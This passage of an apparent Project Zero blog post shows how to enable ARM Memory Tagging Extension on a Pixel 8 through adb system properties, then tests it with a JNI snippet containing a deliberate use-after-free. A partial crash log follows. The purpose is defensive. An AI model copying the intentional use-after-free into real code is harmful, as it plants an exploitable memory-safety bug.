0}.lst-kix_mpwcgajc4xj4-2>li{counter-increment:lst-ctn-kix_mpwcgajc4xj4-2}.lst-kix_wtv2d6q4vyvv-6>li:before{content:"- "}.lst-kix_wtv2d6q4vyvv-5>li:before{content:"- "}ul.lst-kix_6winxzvxkxle-0{list-style-type:none}.lst-kix_wtv2d6q4vyvv-7>li:before{content:"- "}ol.lst-kix_mpwcgajc4xj4-3.start{counter-reset:lst-ctn-kix_mpwcgajc4xj4-3 0}ol.lst-kix_mpwcgajc4xj4-1.start{counter-reset:lst-ctn-kix_mpwcgajc4xj4-1 0}.lst-kix_d02lf6xv7lip-0>li:before{content:"- "}.lst-kix_d02lf6xv7lip-1>li:before{content:"- "}.lst-kix_d02lf6xv7lip-2>li:before{content:"- "}.lst-kix_mpwcgajc4xj4-1>li{counter-increment:lst-ctn-kix_mpwcgajc4xj4-1}.lst-kix_d02lf6xv7lip-4>li:before{content:"- "}.lst-kix_mpwcgajc4xj4-4>li{counter-increment:lst-ctn-kix_mpwcgajc4xj4-4}.lst-kix_mpwcgajc4xj4-7>li{counter-increment:lst-ctn-kix_mpwcgajc4xj4-7}.lst-kix_d02lf6xv7lip-3>li:before{content:"- "}.lst-kix_d02lf6xv7lip-5>li:before{content:"- "}.lst-kix_6winxzvxkxle-0>li:before{content:"- "}ol.lst-kix_mpwcgajc4xj4-7.start{counter-reset:lst-ctn-kix_mpwcgajc4xj4-7 0}.lst-kix_6winxzvxkxle-1>li:before{content:"- "}ol{margin:0;padding:0}table td,table th{padding:0}.XtVSyvVaud-c0{color:#188038;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:9pt;font-family:"Roboto Mono";font-style:normal}.XtVSyvVaud-c20{padding-top:18pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.XtVSyvVaud-c21{padding-top:0pt;padding-bottom:3pt;line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.XtVSyvVaud-c28{padding-top:16pt;padding-bottom:4pt;line-height:1.0;page-break-after:avoid;orphans:2;widows:2;text-align:left}.XtVSyvVaud-c24{background-color:#ffffff;padding-top:18pt;padding-bottom:6pt;line-height:1.38;orphans:2;widows:2;text-align:left}.XtVSyvVaud-c6{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-family:"Arial";font-style:normal}.XtVSyvVaud-c8{padding-top:0pt;padding-bottom:0pt;line-height:1.5;orphans:2;widows:2;text-align:left}.XtVSyvVaud-c7{color:#000000;text-decoration:none;vertical-align:baseline;font-size:11pt;font-style:normal}.XtVSyvVaud-c13{color:#000000;text-decoration:none;vertical-align:baseline;font-size:13pt;font-style:normal}.XtVSyvVaud-c2{font-size:9pt;font-family:"Roboto Mono";color:#188038;font-weight:400}.XtVSyvVaud-c11{-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline;text-decoration-skip-ink:none}.XtVSyvVaud-c18{text-decoration:none;vertical-align:baseline;font-style:normal}.XtVSyvVaud-c5{font-family:"Roboto Mono";color:#1967d2;font-weight:400}.XtVSyvVaud-c27{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.XtVSyvVaud-c3{font-weight:400;font-family:"Google Sans"}.XtVSyvVaud-c1{color:inherit;text-decoration:inherit}.XtVSyvVaud-c26{color:#434343;font-size:8pt}.XtVSyvVaud-c17{color:#000000;font-size:10pt}.XtVSyvVaud-c12{font-family:"Roboto Mono";font-weight:400}.XtVSyvVaud-c15{font-weight:700;font-family:"Google Sans"}.XtVSyvVaud-c19{color:#000000;font-size:16pt}.XtVSyvVaud-c30{font-size:8pt;color:#000000}.XtVSyvVaud-c9{height:11pt}.XtVSyvVaud-c29{color:#9334e6}.XtVSyvVaud-c4{font-size:9pt}.XtVSyvVaud-c23{vertical-align:super}.XtVSyvVaud-c14{color:#188038}.XtVSyvVaud-c22{font-size:26pt}.XtVSyvVaud-c25{font-size:16pt}.XtVSyvVaud-c10{font-size:11pt}.XtVSyvVaud-c16{color:#37474f}.XtVSyvVaud-c31{color:#b80672}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:8pt;padding-bottom:4pt;font-family:"Google Sans";line-height:1.0;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left} .codeblock { background-color: #EEEEEE; margin: 2em 0.1em; padding: 1em; border-radius: 10px; }</style></head><body class="c27 doc-content"> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3">By Mark Brand, Google Project Zero</span></p><h2 class="XtVSyvVaud-c24" id="h.y3m9emfhkn17"><span class="XtVSyvVaud-c18 XtVSyvVaud-c3 XtVSyvVaud-c19">Introduction</span></h2> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">It's </span><span class="XtVSyvVaud-c3">finally time</span><span class="XtVSyvVaud-c3"> for me to fulfill a long-standing promise. Since I first heard about ARM's Memory Tagging Extensions, I've said (to far too many people at this point to be able to back out…) that I'd immediately switch to the first available device that supported this feature. It's been a long wait (since late 2017) but with the release of the new </span><span class="XtVSyvVaud-c3 XtVSyvVaud-c11"><a class="XtVSyvVaud-c11" href="https://blog.google/products/pixel/google-pixel-8-pro/">Pixel 8 / Pixel 8 Pro</a></span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"> handsets, there's finally a production handset that allows you to enable MTE!</span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">T</span><span class="XtVSyvVaud-c3">he ability of MTE to detect memory corruption exploitation at the first dangerous access is a significant improvement in diagnostic and potential security effectiveness. The availability of MTE on a production handset for the first time is a big step forward, and I think there's real potential to use this technology to make 0-day harder.</span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">I've been running my Pixel 8 with MTE enabled since release day, and so far I haven't found any issues with any of the applications I use on a daily basis</span><span class="XtVSyvVaud-c11 XtVSyvVaud-c3 XtVSyvVaud-c23"><a class="XtVSyvVaud-c1" href="#h.9x1hlkdzy7n9">1</a></span><span class="XtVSyvVaud-c3">, or any noticeable performance issues.</span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">Currently, MTE is only available on the Pixel as a developer option, intended for app developers to test their apps using MTE</span><span class="XtVSyvVaud-c3">, but we can configure it to default to synchronous mode for </span><span class="XtVSyvVaud-c3">all</span><span class="XtVSyvVaud-c11 XtVSyvVaud-c3 XtVSyvVaud-c23"><a class="XtVSyvVaud-c1" href="#h.c72zfxz1h4jv">2</a></span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"> apps and native user mode binaries. This can be done on a stock image, without bootloader unlocking or rooting required - just a couple of debugger commands. We'll do that now, but first:</span></p><h2 class="XtVSyvVaud-c20" id="h.1wg7xxcfic4o"><span class="XtVSyvVaud-c3">Disclaimer</span></h2> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c15">This is absolutely not a supported device configuration; </span><span class="XtVSyvVaud-c3">and it's highly likely that you'll encounter issues with at least some applications crashing or failing to run correctly with MTE if you set your device up in this way</span><span class="XtVSyvVaud-c3">.</span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"> </span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">This is how I've configured my personal Pixel 8, and so far I've not experienced any issues, but this was somewhat of a surprise to me, and I'm still waiting to see what the first app that simply won't work at all will be...</span><span class="XtVSyvVaud-c3"><br><br></span><span class="XtVSyvVaud-c3 XtVSyvVaud-c25">Enabling MTE on Pixel 8/Pixel 8 Pro</span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3">Enabling MTE on an Android device requires the bootloader to reserve a portion of the device memory for storing tags. This means that there are two separate places where MTE needs to be enabled - first we need to configure the bootloader to enable it, and then we need to configure the system to use it in applications.<br></span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">First we need follow the </span><span class="XtVSyvVaud-c11 XtVSyvVaud-c3"><a class="XtVSyvVaud-c11" href="https://developer.android.com/studio/debug/dev-options#:~:text=Enable%20USB%20debugging%20on%20your%20device,-Before%20you%20can&text=Enable%20USB%20debugging%20in%20the,Advanced%20%3E%20Developer%20Options%20%3E%20USB%20debugging">Android instructions </a></span><span class="XtVSyvVaud-c3">to</span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"> enable developer mode and USB debugging on the device:</span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c6 XtVSyvVaud-c10"></span></p> <p class="XtVSyvVaud-c8"></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c6 XtVSyvVaud-c10"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMUk4xkJBZCV6AiOVlAXpvjqe7Jy8zbE16O3VggdMsppvQyNa4JmkS05c2G6tnAQ2VBEqQDCtJ3MnZgTW3IICWVAdnDZOAW9B66AsuQZPN5wj_diwjLH3n_quGk9u4-nLoORIUXBuOX3KyxclJvUd87vWjBK8fBG79A70dLxa_vK2brlb5YgZaon5BoWU/s1224/Screenshot%202023-11-01%20at%204.54.22%E2%80%AFPM.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMUk4xkJBZCV6AiOVlAXpvjqe7Jy8zbE16O3VggdMsppvQyNa4JmkS05c2G6tnAQ2VBEqQDCtJ3MnZgTW3IICWVAdnDZOAW9B66AsuQZPN5wj_diwjLH3n_quGk9u4-nLoORIUXBuOX3KyxclJvUd87vWjBK8fBG79A70dLxa_vK2brlb5YgZaon5BoWU/s1200/Screenshot%202023-11-01%20at%204.54.22%E2%80%AFPM.png" style="max-height: 750px; max-width: 600px;" title="" /></a></span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c6 XtVSyvVaud-c10"></span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">Now we need to connect our phone to a trusted </span><span class="XtVSyvVaud-c3">computer</span><span class="XtVSyvVaud-c3"> that has the </span><span class="XtVSyvVaud-c11 XtVSyvVaud-c3"><a class="XtVSyvVaud-c11" href="https://developer.android.com/tools/adb">Android debugging tools</a></span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"> installed on it - I'm using my linux workstation:</span></p> <div class="codeblock"> <p class="XtVSyvVaud-c8"><span></span><span class="XtVSyvVaud-c0">markbrand@markbrand$ adb devices -l</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">List of devices attached</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">XXXXXXXXXXXXXX device usb:3-3 product:shiba model:Pixel_8 device:shiba transport_id:5</span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c0"></span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">markbrand@markbrand$ adb shell</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">shiba:/ $ setprop arm64.memtag.bootctl memtag</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">shiba:/ $ setprop persist.arm64.memtag.default sync</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">shiba:/ $ setprop persist.arm64.memtag.app_default sync</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">shiba:/ $ reboot</span></p> </div> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">These commands are doing a couple of things - first, we're configuring the bootloader to enable MTE at boot. The second command sets the default MTE mode for native executables running on the device, and the third command sets the default MTE mode for apps. An app developer can enable MTE by using the </span><span class="XtVSyvVaud-c11 XtVSyvVaud-c3"><a class="XtVSyvVaud-c11" href="https://developer.android.com/ndk/guides/arm-mte#production">manifest</a></span><span class="XtVSyvVaud-c3">, but this system property sets the default MTE mode for apps, effectively making it </span><span class="XtVSyvVaud-c3">opt-out</span><span class="XtVSyvVaud-c3"> instead of opt-in.</span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">While on the topic of apps opting-out, it's worth noting that </span><span class="XtVSyvVaud-c3">Chrome</span><span class="XtVSyvVaud-c3"> doesn't use the system allocator for most allocations, and instead uses PartitionAlloc. There is experimental MTE support under development, which can be enabled with some additional steps</span><span class="XtVSyvVaud-c11 XtVSyvVaud-c3 XtVSyvVaud-c23"><a class="XtVSyvVaud-c1" href="#h.48b4e8cq1xxw">3</a></span><span class="XtVSyvVaud-c3">. U</span><span class="XtVSyvVaud-c3">nfortunately this currently requires setting a command-line flag which involves some security tradeoffs. </span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3">We expect that Chrome will add an easier way to enable MTE support without these problems in the near future.</span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">I</span><span class="XtVSyvVaud-c7 XtVSyvVaud-c3">f we look at all of the system properties, we can see that there are a few additional properties that are related to memory tagging:</span></p> <div class="codeblock"> <p class="XtVSyvVaud-c8"><span></span><span class="XtVSyvVaud-c2">shiba:/</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">$</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">getprop</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">|</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">grep</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">memtag</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">[arm64.memtag.bootctl]:</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">[memtag]</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">[persist.arm64.memtag.app.com.android.nfc]:</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">[off]</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">[persist.arm64.memtag.app.com.android.se]:</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">[off]</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">[persist.arm64.memtag.app.com.google.android.bluetooth]:</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">[off]</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">[persist.arm64.memtag.app_default]:</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">[sync]</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">[persist.arm64.memtag.default]:</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">[sync]</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">[persist.arm64.memtag.system_server]:</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">[off]</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">[ro.arm64.memtag.bootctl_supported]:</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">[1]</span></p> </div> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">There are unfortunately some default exclusions which we can't overwrite - the protections on system properties mean that we can't currently enable </span><span class="XtVSyvVaud-c3">MTE for a few components</span><span class="XtVSyvVaud-c3"> in a normal production build - these exceptions are </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c14">system_server</span><span class="XtVSyvVaud-c3"> and applications related to nfc, the secure element and bluetooth</span><span class="XtVSyvVaud-c3">.</span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3">We wanted to make sure that these commands work, so we'll do that now. We'll first check whether it's working for native executables:</span></p> <div class="codeblock"> <p class="XtVSyvVaud-c8"><span></span><span class="XtVSyvVaud-c0">shiba:/ $ cat /proc/self/smaps | grep mt</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">VmFlags: rd wr mr mw me ac mt </span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">VmFlags: rd wr mr mw me ac mt </span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">VmFlags: rd wr mr mw me ac mt </span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">VmFlags: rd wr mr mw me ac mt </span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">VmFlags: rd wr mr mw me ac mt </span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">VmFlags: rd wr mr mw me ac mt </span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">VmFlags: rd wr mr mw me ac mt </span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c2">765bff1000-765c011000 r--s 00000000 00:12 97 /dev/__properties__/u:object_r:arm64_memtag_prop:s0</span></p> </div> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c6 XtVSyvVaud-c10"></span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">We can see that our</span><span> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c14">cat</span><span class="XtVSyvVaud-c3"> process</span><span class="XtVSyvVaud-c3"> has mappings with the</span><span> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c14">mt</span><span> </span><span class="XtVSyvVaud-c3">bit set, so MTE has been enabled for the process.</span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3">Now in order to check that an app without any manifest setting has picked up this, we added a little bit of code to an empty JNI project to trigger a use-after-free bug:</span></p> <div class="codeblock"> <p class="XtVSyvVaud-c8"><span></span><span class="XtVSyvVaud-c5 XtVSyvVaud-c4">extern</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c2">"C"</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">JNIEXPORT</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">jstring</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">JNICALL</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">Java_com_example_mtetestapplication_MainActivity_stringFromJNI(</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">JNIEnv*</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">env,</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">jobject</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">/*</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c5 XtVSyvVaud-c4">this</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">*/)</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">{</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c29">char</span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">*</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">ptr</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">=</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">strdup(</span><span class="XtVSyvVaud-c2">"test string"</span><span class="XtVSyvVaud-c18 XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">);</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c18 XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16"> free(ptr);</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16"> </span><span class="XtVSyvVaud-c18 XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c31">// Use-after-free when ptr is accessed below.</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c4 XtVSyvVaud-c5">return</span><span class="XtVSyvVaud-c4"> </span><span class="XtVSyvVaud-c18 XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">env->NewStringUTF(ptr);</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c12 XtVSyvVaud-c4 XtVSyvVaud-c16">}</span></p> </div> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3">Without MTE, it's unlikely that the application would crash running this code. I also made sure that the application manifest does not set MTE, so it will inherit the default. When we launch the application we will see whether it crashes, and whether the crash is caused by an MTE check failure!</span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="c21 title" id="h.d9qhosed13lf"></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c6 XtVSyvVaud-c10"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBr9j-dr80RvnKDtyymIUa-olnp9ByD4_KTfJObFeKt6zOyw6IOXWI005OT5JmtcWXHFyTjTVsu_Rc4HcdUDRxsTJce3w0ZqL98JrZKNFEgPmVdED-U79ZUhnxhsysMjhCQqpSzSTXnkshRQbHZpno5CvlfP7NanoRWvUTKwcAZSnFg4YZwEpEF5M0y40/s2400/record.webp" style="display: block; padding: 1em 0;text-align: center;"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBr9j-dr80RvnKDtyymIUa-olnp9ByD4_KTfJObFeKt6zOyw6IOXWI005OT5JmtcWXHFyTjTVsu_Rc4HcdUDRxsTJce3w0ZqL98JrZKNFEgPmVdED-U79ZUhnxhsysMjhCQqpSzSTXnkshRQbHZpno5CvlfP7NanoRWvUTKwcAZSnFg4YZwEpEF5M0y40/s1200/record.webp" style="max-height: 750px; max-width: 600px;" title="" /></a></span></p> <p class="XtVSyvVaud-c8 XtVSyvVaud-c9"><span class="XtVSyvVaud-c7 XtVSyvVaud-c3"></span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c3">Looking at the logcat output we can see that the cause of the crash was a synchronous MTE tag check failure (</span><span class="XtVSyvVaud-c12 XtVSyvVaud-c14">SEGV_MTESERR</span><span class="XtVSyvVaud-c3">).</span></p> <div class="codeblock"> <p class="XtVSyvVaud-c8"><span></span><span class="XtVSyvVaud-c0">DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : Build fingerprint: 'google/shiba/shiba:14/UD1A.230803.041/10808477:user/release-keys'</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : Revision: 'MP1.0'</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : ABI: 'arm64'</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : Timestamp: 2023-10-24 16:56:32.092532886+0200</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : Process uptime: 2s</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : Cmdline: com.example.mtetestapplication</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : pid: 24147, tid: 24147, name: testapplication >>> com.example.mtetestapplication <<<</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : uid: 10292</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : tagged_addr_ctrl: 000000000007fff3 (PR_TAGGED_ADDR_ENABLE, PR_MTE_TCF_SYNC, mask 0xfffe)</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : pac_enabled_keys: 000000000000000f (PR_PAC_APIAKEY, PR_PAC_APIBKEY, PR_PAC_APDAKEY, PR_PAC_APDBKEY)</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : signal 11 (SIGSEGV), code 9 (SEGV_MTESERR), fault addr 0x0b000072afa9f790</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : x0 0000000000000001 x1 0000007fe384c2e0 x2 0000000000000075 x3 00000072aae969ac</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : x4 0000007fe384c308 x5 0000000000000004 x6 7274732074736574 x7 00676e6972747320</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : x8 0000000000000020 x9 00000072ab1867e0 x10 000000000000050c x11 00000072aaed0af4</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : x12 00000072aaed0ca8 x13 31106e3dee7fb177 x14 ffffffffffffffff x15 00000000ebad6a89</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : x16 0000000000000001 x17 000000722ff047b8 x18 00000075740fe000 x19 0000007fe384c2d0</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : x20 0000007fe384c308 x21 00000072aae969ac x22 0000007fe384c2e0 x23 070000741fa897b0</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : x24 0b000072afa9f790 x25 00000072aaed0c18 x26 0000000000000001 x27 000000754a5fae40</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : x28 0000007573c00000 x29 0000007fe384c260</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : lr 00000072ab35e7ac sp 0000007fe384be30 pc 00000072ab1867ec pst 0000000080001000</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : 98 total frames</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : backtrace:</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : #00 pc 00000000003867ec /apex/com.android.art/lib64/libart.so (art::(anonymous namespace)::ScopedCheck::Check(art::ScopedObjectAccess&, bool, char const*, art::(anonymous namespace)::JniValueType*) (.__uniq.99033978352804627313491551960229047428)+1636) (BuildId: a5fcf27f4a71b07dff05c648ad58e3cd)</span></p> <p class="XtVSyvVaud-c8"><span class="XtVSyvVaud-c0">DEBUG : #01 pc 000000000055e7a8 /apex/com.android.art/lib64/libart.so (art::(anonymous namespace)::CheckJNI::NewStringUTF(_JNIEnv*, char const*) 